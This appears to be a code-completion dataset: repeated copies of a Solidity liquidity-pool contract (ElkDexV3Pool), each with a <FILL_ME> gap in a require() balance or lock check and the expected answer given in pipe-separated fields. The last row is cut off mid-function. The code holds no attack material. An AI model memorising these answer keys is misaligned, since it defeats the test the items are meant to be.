/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| success&&data.length>=32 | 108,689 | success&&data.length>=32 |
'M0' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
require(amount > 0);
(, int256 amount0Int, int256 amount1Int) =
_modifyPosition(
ModifyPositionParams({
owner: recipient,
tickLower: tickLower,
tickUpper: tickUpper,
liquidityDelta: int256(amount).toInt128()
})
);
amount0 = uint256(amount0Int);
amount1 = uint256(amount1Int);
uint256 balance0Before;
uint256 balance1Before;
if (amount0 > 0) balance0Before = balance0();
if (amount1 > 0) balance1Before = balance1();
IElkDexV3MintCallback(msg.sender).elkDexV3MintCallback(amount0, amount1, data);
if (amount0 > 0) require(<FILL_ME>)
if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');
emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| balance0Before.add(amount0)<=balance0(),'M0' | 108,689 | balance0Before.add(amount0)<=balance0() |
'M1' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
require(amount > 0);
(, int256 amount0Int, int256 amount1Int) =
_modifyPosition(
ModifyPositionParams({
owner: recipient,
tickLower: tickLower,
tickUpper: tickUpper,
liquidityDelta: int256(amount).toInt128()
})
);
amount0 = uint256(amount0Int);
amount1 = uint256(amount1Int);
uint256 balance0Before;
uint256 balance1Before;
if (amount0 > 0) balance0Before = balance0();
if (amount1 > 0) balance1Before = balance1();
IElkDexV3MintCallback(msg.sender).elkDexV3MintCallback(amount0, amount1, data);
if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');
if (amount1 > 0) require(<FILL_ME>)
emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function flash(
address recipient,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external override lock noDelegateCall {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {
}
/// @inheritdoc IElkDexV3PoolOwnerActions
function collectProtocol(
address recipient,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
}
}
| balance1Before.add(amount1)<=balance1(),'M1' | 108,689 | balance1Before.add(amount1)<=balance1() |
'LOK' | // SPDX-License-Identifier: BUSL-1.1
pragma solidity =0.7.6;
import './interfaces/IElkDexV3Pool.sol';
import './NoDelegateCall.sol';
import './libraries/LowGasSafeMath.sol';
import './libraries/SafeCast.sol';
import './libraries/Tick.sol';
import './libraries/TickBitmap.sol';
import './libraries/Position.sol';
import './libraries/Oracle.sol';
import './libraries/FullMath.sol';
import './libraries/FixedPoint128.sol';
import './libraries/TransferHelper.sol';
import './libraries/TickMath.sol';
import './libraries/LiquidityMath.sol';
import './libraries/SqrtPriceMath.sol';
import './libraries/SwapMath.sol';
import './interfaces/IElkDexV3PoolDeployer.sol';
import './interfaces/IElkDexV3Factory.sol';
import './interfaces/IERC20Minimal.sol';
import './interfaces/callback/IElkDexV3MintCallback.sol';
import './interfaces/callback/IElkDexV3SwapCallback.sol';
import './interfaces/callback/IElkDexV3FlashCallback.sol';
contract ElkDexV3Pool is IElkDexV3Pool, NoDelegateCall {
using LowGasSafeMath for uint256;
using LowGasSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
using Tick for mapping(int24 => Tick.Info);
using TickBitmap for mapping(int16 => uint256);
using Position for mapping(bytes32 => Position.Info);
using Position for Position.Info;
using Oracle for Oracle.Observation[65535];
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override factory;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token0;
/// @inheritdoc IElkDexV3PoolImmutables
address public immutable override token1;
/// @inheritdoc IElkDexV3PoolImmutables
uint24 public immutable override fee;
/// @inheritdoc IElkDexV3PoolImmutables
int24 public immutable override tickSpacing;
/// @inheritdoc IElkDexV3PoolImmutables
uint128 public immutable override maxLiquidityPerTick;
struct Slot0 {
// the current price
uint160 sqrtPriceX96;
// the current tick
int24 tick;
// the most-recently updated index of the observations array
uint16 observationIndex;
// the current maximum number of observations that are being stored
uint16 observationCardinality;
// the next maximum number of observations to store, triggered in observations.write
uint16 observationCardinalityNext;
// the current protocol fee as a percentage of the swap fee taken on withdrawal
// represented as an integer denominator (1/x)%
uint8 feeProtocol;
// whether the pool is locked
bool unlocked;
}
/// @inheritdoc IElkDexV3PoolState
Slot0 public override slot0;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal0X128;
/// @inheritdoc IElkDexV3PoolState
uint256 public override feeGrowthGlobal1X128;
// accumulated protocol fees in token0/token1 units
struct ProtocolFees {
uint128 token0;
uint128 token1;
}
/// @inheritdoc IElkDexV3PoolState
ProtocolFees public override protocolFees;
/// @inheritdoc IElkDexV3PoolState
uint128 public override liquidity;
/// @inheritdoc IElkDexV3PoolState
mapping(int24 => Tick.Info) public override ticks;
/// @inheritdoc IElkDexV3PoolState
mapping(int16 => uint256) public override tickBitmap;
/// @inheritdoc IElkDexV3PoolState
mapping(bytes32 => Position.Info) public override positions;
/// @inheritdoc IElkDexV3PoolState
Oracle.Observation[65535] public override observations;
/// @dev Mutually exclusive reentrancy protection into the pool to/from a method. This method also prevents entrance
/// to a function before the pool is initialized. The reentrancy guard is required throughout the contract because
/// we use balance checks to determine the payment status of interactions such as mint, swap and flash.
modifier lock() {
}
/// @dev Prevents calling a function from anyone except the address returned by IElkDexV3Factory#owner()
modifier onlyFactoryOwner() {
}
constructor() {
}
/// @dev Common checks for valid tick inputs.
function checkTicks(int24 tickLower, int24 tickUpper) private pure {
}
/// @dev Returns the block timestamp truncated to 32 bits, i.e. mod 2**32. This method is overridden in tests.
function _blockTimestamp() internal view virtual returns (uint32) {
}
/// @dev Get the pool's balance of token0
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance0() private view returns (uint256) {
}
/// @dev Get the pool's balance of token1
/// @dev This function is gas optimized to avoid a redundant extcodesize check in addition to the returndatasize
/// check
function balance1() private view returns (uint256) {
}
/// @inheritdoc IElkDexV3PoolDerivedState
function snapshotCumulativesInside(int24 tickLower, int24 tickUpper)
external
view
override
noDelegateCall
returns (
int56 tickCumulativeInside,
uint160 secondsPerLiquidityInsideX128,
uint32 secondsInside
)
{
}
/// @inheritdoc IElkDexV3PoolDerivedState
function observe(uint32[] calldata secondsAgos)
external
view
override
noDelegateCall
returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s)
{
}
/// @inheritdoc IElkDexV3PoolActions
function increaseObservationCardinalityNext(uint16 observationCardinalityNext)
external
override
lock
noDelegateCall
{
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev not locked because it initializes unlocked
function initialize(uint160 sqrtPriceX96) external override {
}
struct ModifyPositionParams {
// the address that owns the position
address owner;
// the lower and upper tick of the position
int24 tickLower;
int24 tickUpper;
// any change in liquidity
int128 liquidityDelta;
}
/// @dev Effect some changes to a position
/// @param params the position details and the change to the position's liquidity to effect
/// @return position a storage pointer referencing the position with the given owner and tick range
/// @return amount0 the amount of token0 owed to the pool, negative if the pool should pay the recipient
/// @return amount1 the amount of token1 owed to the pool, negative if the pool should pay the recipient
function _modifyPosition(ModifyPositionParams memory params)
private
noDelegateCall
returns (
Position.Info storage position,
int256 amount0,
int256 amount1
)
{
}
/// @dev Gets and updates a position with the given liquidity delta
/// @param owner the owner of the position
/// @param tickLower the lower tick of the position's tick range
/// @param tickUpper the upper tick of the position's tick range
/// @param tick the current tick, passed to avoid sloads
function _updatePosition(
address owner,
int24 tickLower,
int24 tickUpper,
int128 liquidityDelta,
int24 tick
) private returns (Position.Info storage position) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function mint(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount,
bytes calldata data
) external override lock returns (uint256 amount0, uint256 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
function collect(
address recipient,
int24 tickLower,
int24 tickUpper,
uint128 amount0Requested,
uint128 amount1Requested
) external override lock returns (uint128 amount0, uint128 amount1) {
}
/// @inheritdoc IElkDexV3PoolActions
/// @dev noDelegateCall is applied indirectly via _modifyPosition
function burn(
int24 tickLower,
int24 tickUpper,
uint128 amount
) external override lock returns (uint256 amount0, uint256 amount1) {
}
struct SwapCache {
// the protocol fee for the input token
uint8 feeProtocol;
// liquidity at the beginning of the swap
uint128 liquidityStart;
// the timestamp of the current block
uint32 blockTimestamp;
// the current value of the tick accumulator, computed only if we cross an initialized tick
int56 tickCumulative;
// the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick
uint160 secondsPerLiquidityCumulativeX128;
// whether we've computed and cached the above two accumulators
bool computedLatestObservation;
}
// the top level state of the swap, the results of which are recorded in storage at the end
struct SwapState {
// the amount remaining to be swapped in/out of the input/output asset
int256 amountSpecifiedRemaining;
// the amount already swapped out/in of the output/input asset
int256 amountCalculated;
// current sqrt(price)
uint160 sqrtPriceX96;
// the tick associated with the current price
int24 tick;
// the global fee growth of the input token
uint256 feeGrowthGlobalX128;
// amount of input token paid as protocol fee
uint128 protocolFee;
// the current liquidity in range
uint128 liquidity;
}
struct StepComputations {
// the price at the beginning of the step
uint160 sqrtPriceStartX96;
// the next tick to swap to from the current tick in the swap direction
int24 tickNext;
// whether tickNext is initialized or not
bool initialized;
// sqrt(price) for the next tick (1/0)
uint160 sqrtPriceNextX96;
// how much is being swapped in in this step
uint256 amountIn;
// how much is being swapped out
uint256 amountOut;
// how much fee is being paid in
uint256 feeAmount;
}
/// @inheritdoc IElkDexV3PoolActions
function swap(
address recipient,
bool zeroForOne,
int256 amountSpecified,
uint160 sqrtPriceLimitX96,
bytes calldata data
) external override noDelegateCall returns (int256 amount0, int256 amount1) {
require(amountSpecified != 0, 'AS');
Slot0 memory slot0Start = slot0;
require(<FILL_ME>)
require(
zeroForOne
? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO
: sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,
'SPL'
);
slot0.unlocked = false;
SwapCache memory cache =
SwapCache({
liquidityStart: liquidity,
blockTimestamp: _blockTimestamp(),
feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),
secondsPerLiquidityCumulativeX128: 0,
tickCumulative: 0,
computedLatestObservation: false
});
bool exactInput = amountSpecified > 0;
SwapState memory state =
SwapState({
amountSpecifiedRemaining: amountSpecified,
amountCalculated: 0,
sqrtPriceX96: slot0Start.sqrtPriceX96,
tick: slot0Start.tick,
feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,
protocolFee: 0,
liquidity: cache.liquidityStart
});
// continue swapping as long as we haven't used the entire input/output and haven't reached the price limit
while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {
StepComputations memory step;
step.sqrtPriceStartX96 = state.sqrtPriceX96;
(step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(
state.tick,
tickSpacing,
zeroForOne
);
